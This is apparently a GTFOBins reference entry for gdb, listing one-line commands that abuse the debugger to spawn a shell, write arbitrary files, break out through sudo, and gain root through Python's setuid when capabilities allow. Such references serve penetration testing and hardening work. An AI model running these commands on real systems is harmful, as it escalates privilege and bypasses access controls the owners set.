Files
GTFOBins.github.io/_gtfobins/gdb.md
2018-09-25 22:02:25 +01:00

638 B

description, functions
description functions
GDB may come with embedded Python support, in that case arbitrary code can be executed with the `python` command in the context of the GDB process. See the [Python](/gtfobins/python/) functions.
execute-interactive file-write sudo-enabled capabilities-enabled
code
gdb -nx -ex '!sh' -ex quit
code
LFILE=file_to_write gdb -nx -ex "dump value $LFILE "DATA"" -ex quit
code
sudo gdb -nx -ex '!sh' -ex quit
description code
Only if it has been compiled with Python support. ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit